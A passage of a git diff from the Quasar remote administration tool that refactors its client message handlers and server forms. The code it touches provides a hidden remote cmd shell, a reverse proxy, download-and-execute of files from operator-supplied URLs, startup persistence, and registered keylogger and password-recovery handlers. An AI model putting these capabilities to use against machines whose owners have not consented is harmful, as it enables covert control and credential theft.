private UnsafeStreamCodec _streamCodec; - public RemoteDesktopHandler(QuasarClient client) : base(false) - { - _client = client; - } - - public override bool CanExecute(IMessage message) => message is GetDesktop || + public bool CanExecute(IMessage message) => message is GetDesktop || message is DoMouseEvent || message is DoKeyboardEvent || message is GetMonitors; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -187,7 +179,16 @@ private void Execute(ISender client, GetMonitors message) client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length}); } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { if (disposing) { diff --git a/Quasar.Client/Messages/RemoteShellHandler.cs b/Quasar.Client/Messages/RemoteShellHandler.cs index b8c98c454..2bc692b12 100644 --- a/Quasar.Client/Messages/RemoteShellHandler.cs +++ b/Quasar.Client/Messages/RemoteShellHandler.cs @@ -1,65 +1,58 @@ -using Quasar.Client.Networking; +using Quasar.Client.IO; +using Quasar.Client.Networking; using Quasar.Common.Messages; using Quasar.Common.Networking; using System; -using System.Diagnostics; -using System.Globalization; -using System.IO; -using System.Text; -using System.Threading; namespace Quasar.Client.Messages { /// - /// This class manages a remote shell session. + /// Handles messages for the interaction with the remote shell. /// - public class RemoteShellHandler : MessageProcessorBase + public class RemoteShellHandler : IMessageProcessor { /// - /// The process of the command-line (cmd). + /// The current remote shell instance. /// - private Process _prc; + private Shell _shell; /// - /// Decides if we should still read from the output. - /// - /// Detects unexpected closing of the shell. - /// + /// The client which is associated with this remote shell handler. /// - private bool _read; - - /// - /// The lock object for the read variable. - /// - private readonly object _readLock = new object(); - - /// - /// The lock object for the StreamReader. - /// - private readonly object _readStreamLock = new object(); + private readonly QuasarClient _client; /// - /// The current console encoding. + /// Initializes a new instance of the class using the given client. /// - private Encoding _encoding; + /// The associated client. + public RemoteShellHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + } /// - /// Redirects commands to the standard input stream of the console with the correct encoding. + /// Handles changes of the client state. /// - private StreamWriter _inputWriter; - - private readonly QuasarClient _client; - - public RemoteShellHandler(QuasarClient client) : base(false) + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientStateChange(Networking.Client s, bool connected) { - _client = client; + // close shell on client disconnection + if (!connected) + { + _shell?.Dispose(); + } } - public override bool CanExecute(IMessage message) => message is DoShellExecute; + /// + public bool CanExecute(IMessage message) => message is DoShellExecute; - public override bool CanExecuteFrom(ISender sender) => true; + /// + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + /// + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -73,270 +66,29 @@ private void Execute(ISender client, DoShellExecute message) { string input = message.Command; - if ((_prc == null || _prc.HasExited) && input == "exit") return; + if (_shell == null && input == "exit") return; + if (_shell == null) _shell = new Shell(_client); if (input == "exit") - Dispose(); + _shell.Dispose(); else - ExecuteCommand(input); - } - - /// - /// Creates a new session of the shell. - /// - private void CreateSession() - { - lock (_readLock) - { - _read = true; - } - - var cultureInfo = CultureInfo.InstalledUICulture; - _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); - - _prc = new Process - { - StartInfo = new ProcessStartInfo("cmd") - { - UseShellExecute = false, - CreateNoWindow = true, - RedirectStandardInput = true, - RedirectStandardOutput = true, - RedirectStandardError = true, - StandardOutputEncoding = _encoding, - StandardErrorEncoding = _encoding, - WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), - Arguments = $"/K CHCP {_encoding.CodePage}" - } - }; - _prc.Start(); - - RedirectIO(); - - _client.Send(new DoShellExecuteResponse - { - Output = "\n>> New Session created\n" - }); - } - - /// - /// Starts the redirection of input and output. - /// - private void RedirectIO() - { - _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); - ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardOutput(); }); - ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardError(); }); + _shell.ExecuteCommand(input); } /// - /// Reads the output from the stream. + /// Disposes all managed and unmanaged resources associated with this message processor. /// - /// The first read char. - /// The StreamReader to read from. - /// True if reading from the error-stream, else False. - private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) + public void Dispose() { - lock (_readStreamLock) - { - var streamBuffer = new StringBuilder(); - - streamBuffer.Append((char)firstCharRead); - - // While there are more characters to be read - while (streamReader.Peek() > -1) - { - // Read the character in the queue - var ch = streamReader.Read(); - - // Accumulate the characters read in the stream buffer - streamBuffer.Append((char)ch); - - if (ch == '\n') - SendAndFlushBuffer(ref streamBuffer, isError); - } - // Flush any remaining text in the buffer - SendAndFlushBuffer(ref streamBuffer, isError); - } + Dispose(true); + GC.SuppressFinalize(this); } - /// - /// Sends the read output to the Client. - /// - /// Contains the contents of the output. - /// True if reading from the error-stream, else False. - private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) - { - if (textBuffer.Length == 0) return; - - var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); - - if (string.IsNullOrEmpty(toSend)) return; - - _client.Send(new DoShellExecuteResponse {Output = toSend, IsError = isError}); - - textBuffer.Clear(); - } - - /// - /// Reads from the standard output-stream. - /// - private void RedirectStandardOutput() - { - try - { - int ch; - - // The Read() method will block until something is available - while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) - { - ReadStream(ch, _prc.StandardOutput, false); - } - - lock (_readLock) - { - if (_read) - { - _read = false; - throw new ApplicationException("session unexpectedly closed"); - } - } - } - catch (ObjectDisposedException) - { - // just exit - } - catch (Exception ex) - { - if (ex is ApplicationException || ex is InvalidOperationException) - { - _client.Send(new DoShellExecuteResponse - { - Output = "\n>> Session unexpectedly closed\n", - IsError = true - }); - - CreateSession(); - } - } - } - - /// - /// Reads from the standard error-stream. - /// - private void RedirectStandardError() - { - try - { - int ch; - - // The Read() method will block until something is available - while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) - { - ReadStream(ch, _prc.StandardError, true); - } - - lock (_readLock) - { - if (_read) - { - _read = false; - throw new ApplicationException("session unexpectedly closed"); - } - } - } - catch (ObjectDisposedException) - { - // just exit - } - catch (Exception ex) - { - if (ex is ApplicationException || ex is InvalidOperationException) - { - _client.Send(new DoShellExecuteResponse - { - Output = "\n>> Session unexpectedly closed\n", - IsError = true - }); - - CreateSession(); - } - } - } - - /// - /// Executes a shell command. - /// - /// The command to execute. - /// False if execution failed, else True. - public bool ExecuteCommand(string command) - { - if (_prc == null || _prc.HasExited) - { - try - { - CreateSession(); - } - catch (Exception ex) - { - _client.Send(new DoShellExecuteResponse - { - Output = $"\n>> Failed to creation shell session: {ex.Message}\n", - IsError = true - }); - return false; - } - } - - _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); - _inputWriter.Flush(); - - return true; - } - - /// - /// Converts the encoding of an input string to UTF-8 format. - /// - /// The source encoding of the input string. - /// The input string. - /// The input string in UTF-8 format. - private string ConvertEncoding(Encoding sourceEncoding, string input) - { - var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); - return Encoding.UTF8.GetString(utf8Text); - } - - protected override void Dispose(bool disposing) + protected virtual void Dispose(bool disposing) { if (disposing) { - lock (_readLock) - { - _read = false; - } - - if (_prc == null) - return; - - if (!_prc.HasExited) - { - try - { - _prc.Kill(); - } - catch - { - } - } - - if (_inputWriter != null) - { - _inputWriter.Close(); - _inputWriter = null; - } - - _prc.Dispose(); - _prc = null; + _shell?.Dispose(); } } } diff --git a/Quasar.Client/Messages/ReverseProxyHandler.cs b/Quasar.Client/Messages/ReverseProxyHandler.cs index 0efaf63f1..6fcaf1982 100644 --- a/Quasar.Client/Messages/ReverseProxyHandler.cs +++ b/Quasar.Client/Messages/ReverseProxyHandler.cs @@ -3,25 +3,26 @@ using Quasar.Common.Messages; using Quasar.Common.Messages.ReverseProxy; using Quasar.Common.Networking; +using System; namespace Quasar.Client.Messages { - public class ReverseProxyHandler : MessageProcessorBase + public class ReverseProxyHandler : IMessageProcessor { private readonly QuasarClient _client; - public ReverseProxyHandler(QuasarClient client) : base(false) + public ReverseProxyHandler(QuasarClient client) { _client = client; } - public override bool CanExecute(IMessage message) => message is ReverseProxyConnect || + public bool CanExecute(IMessage message) => message is ReverseProxyConnect || message is ReverseProxyData || message is ReverseProxyDisconnect; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -55,7 +56,16 @@ private void Execute(ISender client, ReverseProxyDisconnect message) socksClient?.Disconnect(); } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { } diff --git a/Quasar.Client/Messages/ShutdownHandler.cs b/Quasar.Client/Messages/ShutdownHandler.cs index 943044726..3220c7aca 100644 --- a/Quasar.Client/Messages/ShutdownHandler.cs +++ b/Quasar.Client/Messages/ShutdownHandler.cs @@ -7,17 +7,13 @@ namespace Quasar.Client.Messages { - public class ShutdownHandler : MessageProcessorBase + public class ShutdownHandler : IMessageProcessor { - public ShutdownHandler() : base(false) - { - } - - public override bool CanExecute(IMessage message) => message is DoShutdownAction; + public bool CanExecute(IMessage message) => message is DoShutdownAction; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -59,7 +55,16 @@ private void Execute(ISender client, DoShutdownAction message) } } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { } diff --git a/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar.Client/Messages/StartupManagerHandler.cs index db088a846..3c35f868a 100644 --- a/Quasar.Client/Messages/StartupManagerHandler.cs +++ b/Quasar.Client/Messages/StartupManagerHandler.cs @@ -12,19 +12,15 @@ namespace Quasar.Client.Messages { - public class StartupManagerHandler : MessageProcessorBase + public class StartupManagerHandler : IMessageProcessor { - public StartupManagerHandler() : base(false) - { - } - - public override bool CanExecute(IMessage message) => message is GetStartupItems || + public bool CanExecute(IMessage message) => message is GetStartupItems || message is DoStartupItemAdd || message is DoStartupItemRemove; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -285,7 +281,16 @@ private void Execute(ISender client, DoStartupItemRemove message) } } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { } diff --git a/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar.Client/Messages/SystemInformationHandler.cs index cb020f24c..a494dbf01 100644 --- a/Quasar.Client/Messages/SystemInformationHandler.cs +++ b/Quasar.Client/Messages/SystemInformationHandler.cs @@ -11,17 +11,13 @@ namespace Quasar.Client.Messages { - public class SystemInformationHandler : MessageProcessorBase + public class SystemInformationHandler : IMessageProcessor { - public SystemInformationHandler() : base(false) - { - } - - public override bool CanExecute(IMessage message) => message is GetSystemInfo; + public bool CanExecute(IMessage message) => message is GetSystemInfo; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -73,7 +69,16 @@ private void Execute(ISender client, GetSystemInfo message) } } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { } diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs index 561d63cbe..3fa0b78cd 100644 --- a/Quasar.Client/Messages/TaskManagerHandler.cs +++ b/Quasar.Client/Messages/TaskManagerHandler.cs @@ -6,28 +6,46 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; using System; +using System.ComponentModel; using System.Diagnostics; using System.Net; using System.Threading; namespace Quasar.Client.Messages { - public class TaskManagerHandler : MessageProcessorBase + /// + /// Handles messages for the interaction with tasks. + /// + public class TaskManagerHandler : IMessageProcessor { private readonly QuasarClient _client; - public TaskManagerHandler(QuasarClient client) : base(false) + private readonly WebClient _webClient; + + public TaskManagerHandler(QuasarClient client) { _client = client; + _client.ClientState += OnClientStateChange; + _webClient = new WebClient { Proxy = null }; + _webClient.DownloadFileCompleted += OnDownloadFileCompleted; } - public override bool CanExecute(IMessage message) => message is GetProcesses || + private void OnClientStateChange(Networking.Client s, bool connected) + { + if (!connected) + { + if (_webClient.IsBusy) + _webClient.CancelAsync(); + } + } + + public bool CanExecute(IMessage message) => message is GetProcesses || message is DoProcessStart || message is DoProcessEnd; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -64,72 +82,90 @@ private void Execute(ISender client, GetProcesses message) private void Execute(ISender client, DoProcessStart message) { - new Thread(() => + if (string.IsNullOrEmpty(message.FilePath)) { - string filePath = message.FilePath; - - if (string.IsNullOrEmpty(filePath)) + // download and then execute + if (string.IsNullOrEmpty(message.DownloadUrl)) { - if (string.IsNullOrEmpty(message.DownloadUrl)) - { - client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); - return; - } + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + return; + } - filePath = FileHelper.GetTempFilePath(".exe"); + message.FilePath = FileHelper.GetTempFilePath(".exe"); - // download first - try + try + { + if (_webClient.IsBusy) { - using (WebClient c = new WebClient()) + _webClient.CancelAsync(); + while (_webClient.IsBusy) { - c.Proxy = null; - c.DownloadFile(message.DownloadUrl, filePath); + Thread.Sleep(50); } - - FileHelper.DeleteZoneIdentifier(filePath); - } - catch - { - client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); - NativeMethods.DeleteFile(filePath); - return; } + + _webClient.DownloadFileAsync(new Uri(message.DownloadUrl), message.FilePath, message); + } + catch + { + client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); + NativeMethods.DeleteFile(message.FilePath); } + } + else + { + // execute locally + ExecuteProcess(message.FilePath, message.IsUpdate); + } + } + + private void OnDownloadFileCompleted(object sender, AsyncCompletedEventArgs e) + { + var message = (DoProcessStart) e.UserState; + if (e.Cancelled) + { + NativeMethods.DeleteFile(message.FilePath); + return; + } - if (message.IsUpdate) + FileHelper.DeleteZoneIdentifier(message.FilePath); + ExecuteProcess(message.FilePath, message.IsUpdate); + } + + private void ExecuteProcess(string filePath, bool isUpdate) + { + if (isUpdate) + { + try { - try - { - var clientUpdater = new ClientUpdater(); - clientUpdater.Update(filePath); - _client.Exit(); - } - catch (Exception ex) - { - NativeMethods.DeleteFile(filePath); - client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" }); - } + var clientUpdater = new ClientUpdater(); + clientUpdater.Update(filePath); + _client.Exit(); } - else + catch (Exception ex) { - try - { - ProcessStartInfo startInfo = new ProcessStartInfo - { - UseShellExecute = true, - FileName = filePath - }; - Process.Start(startInfo); - client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = true}); - } - catch (Exception) + NativeMethods.DeleteFile(filePath); + _client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" }); + } + } + else + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo { - client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false}); - } - + UseShellExecute = true, + FileName = filePath + }; + Process.Start(startInfo); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); } - }).Start(); + catch (Exception) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + + } } private void Execute(ISender client, DoProcessEnd message) @@ -145,9 +181,24 @@ private void Execute(ISender client, DoProcessEnd message) } } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { - + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _webClient.DownloadFileCompleted -= OnDownloadFileCompleted; + _webClient.CancelAsync(); + _webClient.Dispose(); + } } } } diff --git a/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar.Client/Messages/TcpConnectionsHandler.cs index 2948c9ee2..20e5cfaad 100644 --- a/Quasar.Client/Messages/TcpConnectionsHandler.cs +++ b/Quasar.Client/Messages/TcpConnectionsHandler.cs @@ -1,5 +1,4 @@ -using Quasar.Client.Networking; -using Quasar.Client.Utilities; +using Quasar.Client.Utilities; using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Models; @@ -9,21 +8,14 @@ namespace Quasar.Client.Messages { - public class TcpConnectionsHandler : MessageProcessorBase + public class TcpConnectionsHandler : IMessageProcessor { - private readonly QuasarClient _client; + public bool CanExecute(IMessage message) => message is GetConnections || + message is DoCloseConnection; - public TcpConnectionsHandler(QuasarClient client) : base(false) - { - _client = client; - } - - public override bool CanExecute(IMessage message) => message is GetConnections || - message is DoCloseConnection; - - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -120,7 +112,16 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable() return tTable; } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { } diff --git a/Quasar.Client/Messages/WebsiteVisitorHandler.cs b/Quasar.Client/Messages/WebsiteVisitorHandler.cs index ef9e1fa26..b3f9b1ea7 100644 --- a/Quasar.Client/Messages/WebsiteVisitorHandler.cs +++ b/Quasar.Client/Messages/WebsiteVisitorHandler.cs @@ -6,17 +6,13 @@ namespace Quasar.Client.Messages { - public class WebsiteVisitorHandler : MessageProcessorBase + public class WebsiteVisitorHandler : IMessageProcessor { - public WebsiteVisitorHandler() : base(false) - { - } - - public override bool CanExecute(IMessage message) => message is DoVisitWebsite; + public bool CanExecute(IMessage message) => message is DoVisitWebsite; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -61,7 +57,16 @@ private void Execute(ISender client, DoVisitWebsite message) } } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { } diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 407272804..0f4a2ebcf 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -1,12 +1,10 @@ -using System; -using System.Net; +using System.Net; using System.Windows.Forms; namespace Quasar.Client { internal static class Program { - [STAThread] private static void Main(string[] args) { // enable TLS 1.2 diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index 7300839df..309a16e0a 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -155,15 +155,15 @@ private void InitializeMessageProcessors(QuasarClient client) _messageProcessors.Add(new KeyloggerHandler()); _messageProcessors.Add(new MessageBoxHandler()); _messageProcessors.Add(new PasswordRecoveryHandler()); - _messageProcessors.Add(new RegistryHandler(client)); - _messageProcessors.Add(new RemoteDesktopHandler(client)); + _messageProcessors.Add(new RegistryHandler()); + _messageProcessors.Add(new RemoteDesktopHandler()); _messageProcessors.Add(new RemoteShellHandler(client)); _messageProcessors.Add(new ReverseProxyHandler(client)); _messageProcessors.Add(new ShutdownHandler()); _messageProcessors.Add(new StartupManagerHandler()); _messageProcessors.Add(new SystemInformationHandler()); _messageProcessors.Add(new TaskManagerHandler(client)); - _messageProcessors.Add(new TcpConnectionsHandler(client)); + _messageProcessors.Add(new TcpConnectionsHandler()); _messageProcessors.Add(new WebsiteVisitorHandler()); foreach (var msgProc in _messageProcessors) @@ -178,7 +178,8 @@ private void CleanupMessageProcessors() foreach (var msgProc in _messageProcessors) { MessageHandler.Unregister(msgProc); - msgProc.Dispose(); + if (msgProc is IDisposable disposableMsgProc) + disposableMsgProc.Dispose(); } } diff --git a/Quasar.Client/User/ActivityDetection.cs b/Quasar.Client/User/ActivityDetection.cs index 2e1ca3346..15f1a4361 100644 --- a/Quasar.Client/User/ActivityDetection.cs +++ b/Quasar.Client/User/ActivityDetection.cs @@ -34,22 +34,20 @@ private void OnClientStateChange(Networking.Client s, bool connected) public void Start() { - new Thread(UserIdleThread) { IsBackground = true }.Start(); + new Thread(UserIdleThread).Start(); } public void Dispose() { _client.ClientState -= OnClientStateChange; _tokenSource.Cancel(); + _tokenSource.Dispose(); } private void UserIdleThread() { - while (!_token.IsCancellationRequested) + while (!_token.WaitHandle.WaitOne(1000)) { - if (_token.WaitHandle.WaitOne(1000)) - break; - if (IsUserIdle()) { if (LastUserStatus != UserStatus.Idle) diff --git a/Quasar.Client/User/UserAccount.cs b/Quasar.Client/User/UserAccount.cs index b30e1ef20..5893202ef 100644 --- a/Quasar.Client/User/UserAccount.cs +++ b/Quasar.Client/User/UserAccount.cs @@ -1,4 +1,5 @@ using Quasar.Common.Enums; +using System; using System.Security.Principal; namespace Quasar.Client.User @@ -11,9 +12,9 @@ public class UserAccount public UserAccount() { + UserName = Environment.UserName; using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) { - UserName = identity.Name; WindowsPrincipal principal = new WindowsPrincipal(identity); if (principal.IsInRole(WindowsBuiltInRole.Administrator)) diff --git a/Quasar.Common/Messages/IMessageProcessor.cs b/Quasar.Common/Messages/IMessageProcessor.cs index 3085e056f..61bfc77b9 100644 --- a/Quasar.Common/Messages/IMessageProcessor.cs +++ b/Quasar.Common/Messages/IMessageProcessor.cs @@ -1,12 +1,31 @@ -using System; -using Quasar.Common.Networking; +using Quasar.Common.Networking; namespace Quasar.Common.Messages { - public interface IMessageProcessor : IDisposable + /// + /// Provides basic functionality to process messages. + /// + public interface IMessageProcessor { + /// + /// Decides whether this message processor can execute the specified message. + /// + /// The message to execute. + /// True if the message can be executed by this message processor, otherwise false. bool CanExecute(IMessage message); + + /// + /// Decides whether this message processor can execute messages received from the sender. + /// + /// The sender of a message. + /// True if this message processor can execute messages from the sender, otherwise false. bool CanExecuteFrom(ISender sender); + + /// + /// Executes the received message. + /// + /// The sender of this message. + /// The received message. void Execute(ISender sender, IMessage message); } } diff --git a/Quasar.Common/Messages/MessageProcessorBase.cs b/Quasar.Common/Messages/MessageProcessorBase.cs index 7a7aec522..f84cf825e 100644 --- a/Quasar.Common/Messages/MessageProcessorBase.cs +++ b/Quasar.Common/Messages/MessageProcessorBase.cs @@ -79,37 +79,15 @@ private void InvokeReportProgressHandlers(object state) handler?.Invoke(this, (T)state); } - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - /// - /// Decides whether this message processor can execute the specified message. - /// - /// The message to execute. - /// True if the message can be executed by this message processor, otherwise false. + /// public abstract bool CanExecute(IMessage message); - /// - /// Decides whether this message processor can execute messages received from the sender. - /// - /// The sender of a message. - /// True if this message processor can execute messages from the sender, otherwise false. + /// public abstract bool CanExecuteFrom(ISender sender); - /// - /// Executes the received message. - /// - /// The sender of this message. - /// The received message. + /// public abstract void Execute(ISender sender, IMessage message); - protected abstract void Dispose(bool disposing); void IProgress.Report(T value) => OnReport(value); } @@ -122,7 +100,7 @@ public void Dispose() internal static class ProgressStatics { /// - /// A default synchronization context that targets the ThreadPool. + /// A default synchronization context that targets the . /// internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext(); } diff --git a/Quasar.Server/Forms/FrmConnections.cs b/Quasar.Server/Forms/FrmConnections.cs index b336b72a1..5f6336332 100644 --- a/Quasar.Server/Forms/FrmConnections.cs +++ b/Quasar.Server/Forms/FrmConnections.cs @@ -137,7 +137,6 @@ private void FrmConnections_Load(object sender, EventArgs e) private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); - _connectionsHandler.Dispose(); } private void refreshToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index 14fc4b607..ea7e5114e 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -163,7 +163,6 @@ private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) { ListenServer.Disconnect(); UnregisterMessageHandler(); - _clientStatusHandler.Dispose(); notifyIcon.Visible = false; notifyIcon.Dispose(); } diff --git a/Quasar.Server/Forms/FrmPasswordRecovery.cs b/Quasar.Server/Forms/FrmPasswordRecovery.cs index d0dd355ea..cdb78bde3 100644 --- a/Quasar.Server/Forms/FrmPasswordRecovery.cs +++ b/Quasar.Server/Forms/FrmPasswordRecovery.cs @@ -94,7 +94,6 @@ private void FrmPasswordRecovery_FormClosing(object sender, FormClosingEventArgs { Settings.SaveFormat = txtFormat.Text; UnregisterMessageHandler(); - _recoveryHandler.Dispose(); } private void RecoverPasswords() diff --git a/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar.Server/Forms/FrmRegistryEditor.cs index c724873bd..bb9f9cfd1 100644 --- a/Quasar.Server/Forms/FrmRegistryEditor.cs +++ b/Quasar.Server/Forms/FrmRegistryEditor.cs @@ -142,7 +142,6 @@ private void FrmRegistryEditor_Load(object sender, EventArgs e) private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); - _registryHandler.Dispose(); } private void ShowErrorMessage(object sender, string errorMsg) diff --git a/Quasar.Server/Forms/FrmRemoteExecution.cs b/Quasar.Server/Forms/FrmRemoteExecution.cs index 3e21fd506..3b8888352 100644 --- a/Quasar.Server/Forms/FrmRemoteExecution.cs +++ b/Quasar.Server/Forms/FrmRemoteExecution.cs @@ -95,7 +95,6 @@ private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs foreach (var handler in _remoteExecutionMessageHandlers) { UnregisterMessageHandler(handler); - handler.TaskHandler.Dispose(); handler.FileHandler.Dispose(); } diff --git a/Quasar.Server/Forms/FrmRemoteShell.cs b/Quasar.Server/Forms/FrmRemoteShell.cs index e27d7da55..7ca258535 100644 --- a/Quasar.Server/Forms/FrmRemoteShell.cs +++ b/Quasar.Server/Forms/FrmRemoteShell.cs @@ -126,7 +126,8 @@ private void FrmRemoteShell_Load(object sender, EventArgs e) private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); - RemoteShellHandler.Dispose(); + if (_connectClient.Connected) + RemoteShellHandler.SendCommand("exit"); } private void txtConsoleOutput_TextChanged(object sender, EventArgs e) diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs index c7edef088..a5ce2d3e6 100644 --- a/Quasar.Server/Forms/FrmStartupManager.cs +++ b/Quasar.Server/Forms/FrmStartupManager.cs @@ -104,7 +104,6 @@ private void FrmStartupManager_Load(object sender, EventArgs e) private void FrmStartupManager_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); - _startupManagerHandler.Dispose(); } /// diff --git a/Quasar.Server/Forms/FrmSystemInformation.cs b/Quasar.Server/Forms/FrmSystemInformation.cs index 075fe3777..91ead4d03 100644 --- a/Quasar.Server/Forms/FrmSystemInformation.cs +++ b/Quasar.Server/Forms/FrmSystemInformation.cs @@ -102,7 +102,6 @@ private void FrmSystemInformation_Load(object sender, EventArgs e) private void FrmSystemInformation_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); - _sysInfoHandler.Dispose(); } private void SystemInformationChanged(object sender, List> infos) diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs index d54546d40..2df0451e5 100644 --- a/Quasar.Server/Forms/FrmTaskManager.cs +++ b/Quasar.Server/Forms/FrmTaskManager.cs @@ -134,7 +134,6 @@ private void FrmTaskManager_Load(object sender, EventArgs e) private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); - _taskManagerHandler.Dispose(); } private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/Quasar.Server/Messages/ClientStatusHandler.cs b/Quasar.Server/Messages/ClientStatusHandler.cs index 3fdd57868..58d1b5d13 100644 --- a/Quasar.Server/Messages/ClientStatusHandler.cs +++ b/Quasar.Server/Messages/ClientStatusHandler.cs @@ -5,6 +5,9 @@ namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with the remote client status. + /// public class ClientStatusHandler : MessageProcessorBase { /// @@ -105,9 +108,5 @@ private void Execute(Client client, SetUserStatus message) { OnUserStatusUpdated(client, message.Message); } - - protected override void Dispose(bool disposing) - { - } } } diff --git 